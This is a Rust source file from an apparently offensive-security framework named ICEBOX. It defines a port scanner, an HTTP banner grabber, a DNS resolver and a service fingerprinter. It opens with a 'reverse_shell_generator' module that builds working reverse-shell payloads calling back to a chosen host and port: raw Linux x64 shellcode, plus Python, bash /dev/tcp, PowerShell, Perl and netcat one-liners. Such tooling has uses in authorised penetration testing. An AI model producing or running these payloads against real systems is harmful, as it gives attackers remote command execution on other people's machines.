1use crate::core::module::{Module, ModuleEntry, ModuleError, ModuleResult};
2use async_trait::async_trait;
3use base64::engine::general_purpose::STANDARD;
4use base64::Engine;
5use icebox_macro::module;
6use std::sync::Mutex;
7
8pub mod network_scanners;
9pub mod recon_scanners;
10pub mod vuln_scanner;
11
12static DYNAMIC: Mutex<Vec<ModuleEntry>> = Mutex::new(Vec::new());
13
14pub fn register_dynamic(entry: ModuleEntry) {
15 let mut guard = match DYNAMIC.lock() {
16 Ok(g) => g,
17 Err(poisoned) => poisoned.into_inner(),
18 };
19 guard.push(entry);
20}
21
22pub fn discover() -> Vec<ModuleEntry> {
23 let mut all: Vec<ModuleEntry> = crate::MODULE_REGISTRY.iter().copied().collect();
24 let guard = match DYNAMIC.lock() {
25 Ok(g) => g,
26 Err(poisoned) => poisoned.into_inner(),
27 };
28 all.extend(guard.iter().copied());
29 all
30}
31
32pub fn load(name: &str) -> Option<crate::core::module::LoadedModule> {
33 discover()
34 .into_iter()
35 .find(|e| (e.info)().name == name)
36 .map(|e| crate::core::module::LoadedModule {
37 info: (e.info)(),
38 module: (e.make)(),
39 })
40}
41
42fn generate_linux_x64_shellcode(lhost: &str, lport: u16) -> Result<Vec<u8>, ModuleError> {
43 let mut sc = Vec::new();
44 sc.extend_from_slice(&[
45 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05,
46 ]);
47 sc.extend_from_slice(&[0x48, 0x97]);
48 sc.extend_from_slice(&[0x4d, 0x31, 0xd2, 0x41, 0x52]);
49 sc.extend_from_slice(&[0x48, 0xb9]);
50 sc.extend_from_slice(&[0x02, 0x00]);
51 sc.extend_from_slice(&lport.to_be_bytes());
52 sc.extend_from_slice(
53 &lhost
54 .parse::<std::net::Ipv4Addr>()
55 .map_err(|_| ModuleError::Other(format!("invalid IPv4: {lhost}")))?
56 .octets(),
57 );
58 sc.push(0x51);
59 sc.extend_from_slice(&[
60 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05,
61 ]);
62 sc.extend_from_slice(&[0x6a, 0x03, 0x5e]);
63 sc.extend_from_slice(&[0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6]);
64 sc.extend_from_slice(&[0x48, 0x31, 0xd2, 0x52]);
65 sc.extend_from_slice(&[0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68]);
66 sc.extend_from_slice(&[0x53, 0x48, 0x89, 0xe7]);
67 sc.extend_from_slice(&[0x52, 0x57, 0x48, 0x89, 0xe6]);
68 sc.extend_from_slice(&[0xb0, 0x3b, 0x0f, 0x05]);
69 Ok(sc)
70}
71
72fn generate_python_shell(lhost: &str, lport: u16) -> String {
73 format!(
74 r#"import socket,subprocess,os,pty
75s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
76s.connect(("{lhost}",{lport}))
77os.dup2(s.fileno(),0)
78os.dup2(s.fileno(),1)
79os.dup2(s.fileno(),2)
80import pty; pty.spawn("/bin/sh")
81"#,
82 )
83}
84
85fn generate_bash_shell(lhost: &str, lport: u16) -> String {
86 format!("bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'")
87}
88
89fn generate_powershell_shell(lhost: &str, lport: u16) -> String {
90 format!(
91 r#"$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});
92$stream = $client.GetStream();
93[byte[]]$bytes = 0..65535|%{{0}};
94while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{
95 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
96 $sendback = (iex $data 2>&1 | Out-String );
97 $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
98 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
99 $stream.Write($sendbyte,0,$sendbyte.Length);
100 $stream.Flush()
101}};
102$client.Close()
103"#,
104 )
105}
106
107fn generate_perl_shell(lhost: &str, lport: u16) -> String {
108 format!(
109 "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};\n\
110socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));\n\
111if(connect(S,sockaddr_in($p,inet_aton($i)))){{\n\
112 open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");\n\
113 exec(\"/bin/sh -i\");\n\
114}}'"
115 )
116}
117fn generate_nc_shell(lhost: &str, lport: u16) -> String {
118 format!("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
119}
120
121#[module(
122 name = "reverse_shell_generator",
123 kind = "Payload",
124 description = "Multi-format reverse shell payload generator (shellcode + one-liners)",
125 author = "ICEBOX"
126)]
127pub struct ReverseShell {
128 #[option(required = true, help = "LHOST for callback (IP address)")]
129 pub lhost: String,
130 #[option(required = true, help = "LPORT for callback")]
131 pub lport: u16,
132 #[option(help = "Payload format: shellcode,python,bash,powershell,perl,nc,all (default: all)")]
133 pub format: String,
134}
135
136#[async_trait]
137impl Module for ReverseShell {
138 fn options_json(&self) -> serde_json::Value {
139 serde_json::to_value(&ReverseShellOptions {
140 lhost: self.lhost.clone(),
141 lport: self.lport,
142 format: self.format.clone(),
143 })
144 .unwrap_or(serde_json::Value::Null)
145 }
146
147 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
148 let mut o = ReverseShellOptions {
149 lhost: self.lhost.clone(),
150 lport: self.lport,
151 format: self.format.clone(),
152 };
153 o.set(name, value)?;
154 self.lhost = o.lhost;
155 self.lport = o.lport;
156 self.format = o.format;
157 Ok(())
158 }
159
160 fn validate(&self) -> Result<(), ModuleError> {
161 ReverseShellOptions {
162 lhost: self.lhost.clone(),
163 lport: self.lport,
164 format: self.format.clone(),
165 }
166 .validate()?;
167 self.lhost
168 .parse::<std::net::Ipv4Addr>()
169 .map_err(|_| ModuleError::Other(format!("invalid IPv4 address: {}", self.lhost)))?;
170 Ok(())
171 }
172
173 async fn run(&self) -> Result<ModuleResult, ModuleError> {
174 let lhost = self.lhost.trim().to_string();
175 let lport = self.lport;
176 let want =
177 |f: &str| self.format.is_empty() || self.format == "all" || self.format.contains(f);
178
179 let mut payloads = serde_json::Map::new();
180 let mut evidence = Vec::new();
181
182 if want("shellcode") {
183 match generate_linux_x64_shellcode(&lhost, lport) {
184 Ok(shellcode) => {
185 let hex = shellcode
186 .iter()
187 .map(|b| format!("\\x{b:02x}"))
188 .collect::<String>();
189 let b64 = base64_encode(&shellcode);
190 let c_array = shellcode
191 .iter()
192 .map(|b| format!("0x{b:02x}"))
193 .collect::<Vec<_>>()
194 .join(", ");
195 let c_code =
196 format!("unsigned char buf[] = {{ {c_array} }};\nint len = sizeof(buf);\n");
197 payloads.insert(
198 "linux_x64_shellcode".into(),
199 serde_json::json!({
200 "hex": hex,
201 "base64": b64,
202 "c_code": c_code,
203 "raw_len": shellcode.len(),
204 }),
205 );
206 evidence.push(format!("payload/shellcode ({} bytes)", shellcode.len()));
207 }
208 Err(e) => {
209 payloads.insert(
210 "linux_x64_shellcode_error".into(),
211 serde_json::json!(e.to_string()),
212 );
213 }
214 }
215 }
216
217 if want("python") {
218 let py = generate_python_shell(&lhost, lport);
219 payloads.insert("python".into(), serde_json::json!(py));
220 evidence.push("payload/python".into());
221 }
222
223 if want("bash") {
224 let sh = generate_bash_shell(&lhost, lport);
225 payloads.insert("bash".into(), serde_json::json!(sh));
226 evidence.push("payload/bash".into());
227 }
228
229 if want("powershell") {
230 let ps = generate_powershell_shell(&lhost, lport);
231 payloads.insert("powershell".into(), serde_json::json!(ps));
232 evidence.push("payload/powershell".into());
233 }
234
235 if want("perl") {
236 let pl = generate_perl_shell(&lhost, lport);
237 payloads.insert("perl".into(), serde_json::json!(pl));
238 evidence.push("payload/perl".into());
239 }
240
241 if want("nc") {
242 let nc = generate_nc_shell(&lhost, lport);
243 payloads.insert("netcat".into(), serde_json::json!(nc));
244 evidence.push("payload/netcat".into());
245 }
246
247 let count = payloads.len();
248 Ok(ModuleResult {
249 success: true,
250 session_id: Some(format!("session:{lhost}:{lport}")),
251 finding: Some(format!(
252 "Generated {count} payload format(s) for LHOST={lhost} LPORT={lport}"
253 )),
254 evidence,
255 data: serde_json::json!({
256 "lhost": lhost,
257 "lport": lport,
258 "formats": self.format,
259 "payloads": payloads,
260 "count": count,
261 }),
262 ..Default::default()
263 })
264 }
265}
266
267fn base64_encode(data: &[u8]) -> String {
268 STANDARD.encode(data)
269}
270
271pub(crate) fn hex_encode(data: &[u8]) -> String {
272 hex::encode(data)
273}
274
275#[module(
276 name = "tcp_port_scanner",
277 kind = "Scanner",
278 description = "TCP connect port scanner",
279 author = "ICEBOX"
280)]
281pub struct TcpPortScanner {
282 #[option(required = true, help = "Target IP or hostname")]
283 pub host: String,
284 #[option(required = true, help = "Ports to scan (e.g. 1-1024 or 22,80,443)")]
285 pub ports: String,
286 #[option(help = "Timeout per port in milliseconds (default 1000)")]
287 pub timeout_ms: u64,
288}
289
290impl TcpPortScanner {
291 fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
292 let mut ports = Vec::new();
293 for part in spec.split(',') {
294 let part = part.trim();
295 if part.is_empty() {
296 continue;
297 }
298 if let Some((lo, hi)) = part.split_once('-') {
299 let lo: u16 = lo
300 .trim()
301 .parse()
302 .map_err(|_| ModuleError::Parse(format!("bad range lower: {lo}")))?;
303 let hi: u16 = hi
304 .trim()
305 .parse()
306 .map_err(|_| ModuleError::Parse(format!("bad range upper: {hi}")))?;
307 if lo > hi {
308 return Err(ModuleError::Parse(format!("range {lo} > {hi}")));
309 }
310 for p in lo..=hi {
311 ports.push(p);
312 }
313 } else {
314 let p: u16 = part
315 .parse()
316 .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
317 ports.push(p);
318 }
319 }
320 if ports.is_empty() {
321 return Err(ModuleError::Other("no ports specified".into()));
322 }
323 Ok(ports)
324 }
325}
326
327#[async_trait]
328impl Module for TcpPortScanner {
329 fn options_json(&self) -> serde_json::Value {
330 serde_json::to_value(&TcpPortScannerOptions {
331 host: self.host.clone(),
332 ports: self.ports.clone(),
333 timeout_ms: self.timeout_ms,
334 })
335 .unwrap_or(serde_json::Value::Null)
336 }
337
338 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
339 let mut o = TcpPortScannerOptions {
340 host: self.host.clone(),
341 ports: self.ports.clone(),
342 timeout_ms: self.timeout_ms,
343 };
344 o.set(name, value)?;
345 self.host = o.host;
346 self.ports = o.ports;
347 self.timeout_ms = o.timeout_ms;
348 Ok(())
349 }
350
351 fn validate(&self) -> Result<(), ModuleError> {
352 TcpPortScannerOptions {
353 host: self.host.clone(),
354 ports: self.ports.clone(),
355 timeout_ms: self.timeout_ms,
356 }
357 .validate()?;
358 Self::resolve_ports(&self.ports).map(|_| ())
359 }
360
361 async fn run(&self) -> Result<ModuleResult, ModuleError> {
362 let ports = Self::resolve_ports(&self.ports)?;
363 let timeout = if self.timeout_ms > 0 {
364 std::time::Duration::from_millis(self.timeout_ms)
365 } else {
366 std::time::Duration::from_secs(1)
367 };
368 let host = self.host.clone();
369 let concurrency = 100usize;
370 let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
371
372 let mut handles = Vec::new();
373 for port in ports {
374 let permit = semaphore
375 .clone()
376 .acquire_owned()
377 .await
378 .map_err(|e| ModuleError::Other(e.to_string()))?;
379 let h = host.clone();
380 handles.push(tokio::spawn(async move {
381 let _permit = permit;
382 let addr = crate::core::proxy::resolve_dial(&h, port);
383 match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
384 Ok(Ok(_)) => Some(port),
385 _ => None,
386 }
387 }));
388 }
389
390 let mut open_ports: Vec<u16> = Vec::new();
391 for h in handles {
392 if let Ok(Some(port)) = h.await {
393 open_ports.push(port);
394 }
395 }
396 open_ports.sort();
397
398 let finding = if open_ports.is_empty() {
399 "No open ports found".to_string()
400 } else {
401 format!(
402 "Open ports: {}",
403 open_ports
404 .iter()
405 .map(|p| p.to_string())
406 .collect::<Vec<_>>()
407 .join(", ")
408 )
409 };
410
411 Ok(ModuleResult {
412 success: true,
413 finding: Some(finding),
414 evidence: open_ports.iter().map(|p| format!("tcp/{p}")).collect(),
415 data: serde_json::json!({
416 "host": self.host,
417 "open_ports": open_ports,
418 }),
419 ..Default::default()
420 })
421 }
422}
423
424#[module(
425 name = "http_probe",
426 kind = "Scanner",
427 description = "HTTP service banner grabber",
428 author = "ICEBOX"
429)]
430pub struct HttpProbe {
431 #[option(required = true, help = "Target IP or hostname")]
432 pub host: String,
433 #[option(
434 required = true,
435 help = "Ports to probe (comma-separated, e.g. 80,443,8080)"
436 )]
437 pub ports: String,
438 #[option(help = "Timeout per probe in milliseconds (default 3000)")]
439 pub timeout_ms: u64,
440}
441
442#[async_trait]
443impl Module for HttpProbe {
444 fn options_json(&self) -> serde_json::Value {
445 serde_json::to_value(&HttpProbeOptions {
446 host: self.host.clone(),
447 ports: self.ports.clone(),
448 timeout_ms: self.timeout_ms,
449 })
450 .unwrap_or(serde_json::Value::Null)
451 }
452
453 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
454 let mut o = HttpProbeOptions {
455 host: self.host.clone(),
456 ports: self.ports.clone(),
457 timeout_ms: self.timeout_ms,
458 };
459 o.set(name, value)?;
460 self.host = o.host;
461 self.ports = o.ports;
462 self.timeout_ms = o.timeout_ms;
463 Ok(())
464 }
465
466 fn validate(&self) -> Result<(), ModuleError> {
467 HttpProbeOptions {
468 host: self.host.clone(),
469 ports: self.ports.clone(),
470 timeout_ms: self.timeout_ms,
471 }
472 .validate()
473 }
474
475 async fn run(&self) -> Result<ModuleResult, ModuleError> {
476 let host = self.host.clone();
477 let timeout = if self.timeout_ms > 0 {
478 std::time::Duration::from_millis(self.timeout_ms)
479 } else {
480 std::time::Duration::from_secs(3)
481 };
482
483 let ports: Vec<&str> = self
484 .ports
485 .split(',')
486 .map(|s| s.trim())
487 .filter(|s| !s.is_empty())
488 .collect();
489 if ports.is_empty() {
490 return Err(ModuleError::Other("no ports specified".into()));
491 }
492
493 let concurrency = 20usize;
494 let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
495 let mut handles = Vec::new();
496 let request = b"GET / HTTP/1.0\r\nHost: placeholder\r\n\r\n";
497
498 for port_str in ports {
499 let port: u16 = port_str
500 .parse()
501 .map_err(|_| ModuleError::Parse(format!("bad port: {port_str}")))?;
502 let permit = semaphore
503 .clone()
504 .acquire_owned()
505 .await
506 .map_err(|e| ModuleError::Other(e.to_string()))?;
507 let h = host.clone();
508 let req = request.to_vec();
509 handles.push(tokio::spawn(async move {
510 let _permit = permit;
511 let addr = crate::core::proxy::resolve_dial(&h, port);
512 let stream = match tokio::time::timeout(
513 timeout,
514 tokio::net::TcpStream::connect(&addr),
515 )
516 .await
517 {
518 Ok(Ok(s)) => s,
519 _ => return None,
520 };
521 if tokio::time::timeout(timeout, stream.writable())
522 .await
523 .is_err()
524 {
525 return None;
526 }
527 let _ = stream.try_write(&req);
528 let mut buf = vec![0u8; 4096];
529 let n = match tokio::time::timeout(timeout, stream.readable()).await {
530 Ok(_) => stream.try_read(&mut buf).unwrap_or(0),
531 _ => 0,
532 };
533 if n == 0 {
534 return None;
535 }
536 let resp = String::from_utf8_lossy(&buf[..n.min(1024)]).to_string();
537 let first_line = resp.lines().next().unwrap_or("").to_string();
538 let server = resp
539 .lines()
540 .find(|l| l.to_ascii_lowercase().starts_with("server:"))
541 .unwrap_or("")
542 .to_string();
543 Some((port, first_line, server, resp.len()))
544 }));
545 }
546
547 let mut services: Vec<serde_json::Value> = Vec::new();
548 for h in handles {
549 if let Ok(Some((port, status, server, size))) = h.await {
550 services.push(serde_json::json!({
551 "port": port,
552 "status": status,
553 "server": if server.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(server) },
554 "response_size": size,
555 }));
556 }
557 }
558
559 if services.is_empty() {
560 return Ok(ModuleResult {
561 success: true,
562 finding: Some("No HTTP services detected on specified ports".into()),
563 evidence: Vec::new(),
564 data: serde_json::json!({ "host": self.host, "services": services }),
565 ..Default::default()
566 });
567 }
568
569 let banners: Vec<String> = services
570 .iter()
571 .map(|s| {
572 let port = s["port"].as_u64().unwrap_or(0);
573 let status = s["status"].as_str().unwrap_or("");
574 let server = s["server"].as_str().unwrap_or("");
575 format!("tcp/{port} {status} {server}")
576 })
577 .collect();
578
579 Ok(ModuleResult {
580 success: true,
581 finding: Some(format!("Detected {} HTTP services", services.len())),
582 evidence: banners,
583 data: serde_json::json!({
584 "host": self.host,
585 "services": services,
586 }),
587 ..Default::default()
588 })
589 }
590}
591
592#[module(
593 name = "dns_resolver",
594 kind = "Auxiliary",
595 description = "Resolve a hostname to IPv4/IPv6 addresses via system DNS",
596 author = "ICEBOX"
597)]
598pub struct DnsResolver {
599 #[option(required = true, help = "Hostname to resolve")]
600 pub hostname: String,
601}
602
603#[async_trait]
604impl Module for DnsResolver {
605 fn options_json(&self) -> serde_json::Value {
606 serde_json::to_value(&DnsResolverOptions {
607 hostname: self.hostname.clone(),
608 })
609 .unwrap_or(serde_json::Value::Null)
610 }
611
612 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
613 let mut o = DnsResolverOptions {
614 hostname: self.hostname.clone(),
615 };
616 o.set(name, value)?;
617 self.hostname = o.hostname;
618 Ok(())
619 }
620
621 fn validate(&self) -> Result<(), ModuleError> {
622 DnsResolverOptions {
623 hostname: self.hostname.clone(),
624 }
625 .validate()
626 }
627
628 async fn run(&self) -> Result<ModuleResult, ModuleError> {
629 let hostname = self.hostname.trim();
630 if hostname.is_empty() {
631 return Err(ModuleError::Other("hostname required".into()));
632 }
633 let addrs: Vec<std::net::IpAddr> = match tokio::net::lookup_host((hostname, 0)).await {
634 Ok(addrs) => addrs.map(|a| a.ip()).collect(),
635 Err(e) => {
636 return Ok(ModuleResult {
637 success: false,
638 finding: Some(format!("DNS resolution failed: {e}")),
639 evidence: vec![format!("dns_error: {e}")],
640 data: serde_json::json!({ "hostname": hostname, "error": e.to_string() }),
641 ..Default::default()
642 });
643 }
644 };
645
646 let v4: Vec<String> = addrs
647 .iter()
648 .filter(|a| a.is_ipv4())
649 .map(|a| a.to_string())
650 .collect();
651 let v6: Vec<String> = addrs
652 .iter()
653 .filter(|a| a.is_ipv6())
654 .map(|a| a.to_string())
655 .collect();
656
657 let count = addrs.len();
658 let finding = if count == 0 {
659 "No DNS records found".into()
660 } else {
661 format!(
662 "Resolved {count} address(es): {}",
663 addrs
664 .iter()
665 .map(|a| a.to_string())
666 .collect::<Vec<_>>()
667 .join(", ")
668 )
669 };
670
671 Ok(ModuleResult {
672 success: count > 0,
673 finding: Some(finding),
674 evidence: addrs.iter().map(|a| format!("dns/{a}")).collect(),
675 data: serde_json::json!({
676 "hostname": hostname,
677 "ipv4": v4,
678 "ipv6": v6,
679 "addresses": addrs,
680 }),
681 ..Default::default()
682 })
683 }
684}
685
686#[module(
687 name = "service_fingerprinter",
688 kind = "Scanner",
689 description = "Identify services on open ports via protocol banner grabbing",
690 author = "ICEBOX"
691)]
692pub struct ServiceFingerprinter {
693 #[option(required = true, help = "Target IP or hostname")]
694 pub host: String,
695 #[option(required = true, help = "Ports to fingerprint (comma-separated)")]
696 pub ports: String,
697 #[option(help = "Timeout per probe in milliseconds (default 3000)")]
698 pub timeout_ms: u64,
699}
700
701impl ServiceFingerprinter {
702 fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
703 let mut ports = Vec::new();
704 for part in spec.split(',') {
705 let p: u16 = part
706 .trim()
707 .parse()
708 .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
709 ports.push(p);
710 }
711 if ports.is_empty() {
712 return Err(ModuleError::Other("no ports specified".into()));
713 }
714 Ok(ports)
715 }
716
717 fn probe_for_port(port: u16) -> &'static [u8] {
718 match port {
719 21 => b"FEAT\r\n",
720 22 => b"",
721 23 => b"\r\n",
722 25 => b"EHLO probe\r\n",
723 53 => b"",
724 80 | 8080 | 8000 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
725 110 => b"",
726 111 => b"",
727 135 => b"",
728 139 => b"",
729 143 => b"a001 LOGOUT\r\n",
730 389 => b"",
731 443 => b"",
732 445 => b"",
733 993 => b"",
734 995 => b"",
735 3306 => b"",
736 3389 => b"",
737 5432 => b"",
738 6379 => b"",
739 8443 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
740 27017 => b"",
741 _ => b"",
742 }
743 }
744}
745
746#[async_trait]
747impl Module for ServiceFingerprinter {
748 fn options_json(&self) -> serde_json::Value {
749 serde_json::to_value(&ServiceFingerprinterOptions {
750 host: self.host.clone(),
751 ports: self.ports.clone(),
752 timeout_ms: self.timeout_ms,
753 })
754 .unwrap_or(serde_json::Value::Null)
755 }
756
757 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
758 let mut o = ServiceFingerprinterOptions {
759 host: self.host.clone(),
760 ports: self.ports.clone(),
761 timeout_ms: self.timeout_ms,
762 };
763 o.set(name, value)?;
764 self.host = o.host;
765 self.ports = o.ports;
766 self.timeout_ms = o.timeout_ms;
767 Ok(())
768 }
769
770 fn validate(&self) -> Result<(), ModuleError> {
771 ServiceFingerprinterOptions {
772 host: self.host.clone(),
773 ports: self.ports.clone(),
774 timeout_ms: self.timeout_ms,
775 }
776 .validate()
777 }
778
779 async fn run(&self) -> Result<ModuleResult, ModuleError> {
780 let ports = Self::resolve_ports(&self.ports)?;
781 let timeout = if self.timeout_ms > 0 {
782 std::time::Duration::from_millis(self.timeout_ms)
783 } else {
784 std::time::Duration::from_secs(3)
785 };
786 let host = self.host.clone();
787
788 let concurrency = 10usize;
789 let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
790
791 let mut handles = Vec::new();
792 for port in ports {
793 let permit = semaphore
794 .clone()
795 .acquire_owned()
796 .await
797 .map_err(|e| ModuleError::Other(e.to_string()))?;
798 let h = host.clone();
799 let probe = Self::probe_for_port(port).to_vec();
800 handles.push(tokio::spawn(async move {
801 let _permit = permit;
802 let addr = crate::core::proxy::resolve_dial(&h, port);
803 let stream = match tokio::time::timeout(
804 timeout,
805 tokio::net::TcpStream::connect(&addr),
806 )
807 .await
808 {
809 Ok(Ok(s)) => s,
810 _ => return None,
811 };
812 if !probe.is_empty() {
813 let _ = stream.try_write(&probe);
814 }
815 let mut buf = vec![0u8; 4096];
816 let read_timeout = timeout.min(std::time::Duration::from_secs(1));
817 let n = match tokio::time::timeout(read_timeout, stream.readable()).await {
818 Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
819 _ => 0,
820 };
821 if n == 0 {
822 return Some((port, "open".into(), String::new()));
823 }
824 let raw = &buf[..n.min(1024)];
825 let resp = String::from_utf8_lossy(raw).to_string();
826 let clean: Vec<&str> = resp.lines().filter(|l| !l.is_empty()).collect();
827 let banner = clean.join(" | ");
828 let summary = clean.first().unwrap_or(&"").to_string();
829 Some((port, summary, banner))
830 }));
831 }
832
833 let mut services: Vec<serde_json::Value> = Vec::new();
834 for h in handles {
835 if let Ok(Some((port, summary, banner))) = h.await {
836 services.push(serde_json::json!({
837 "port": port,
838 "summary": summary,
839 "banner": if banner.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(banner) },
840 }));
841 }
842 }
843
844 let evidence: Vec<String> = services
845 .iter()
846 .map(|s| {
847 let port = s["port"].as_u64().unwrap_or(0);
848 let summary = s["summary"].as_str().unwrap_or("");
849 format!("tcp/{port}: {summary}")
850 })
851 .collect();
852
853 Ok(ModuleResult {
854 success: true,
855 finding: Some(format!("Fingerprinted {} service(s)", services.len())),
856 evidence,
857 data: serde_json::json!({
858 "host": self.host,
859 "services": services,
860 }),
861 ..Default::default()
862 })
863 }
864}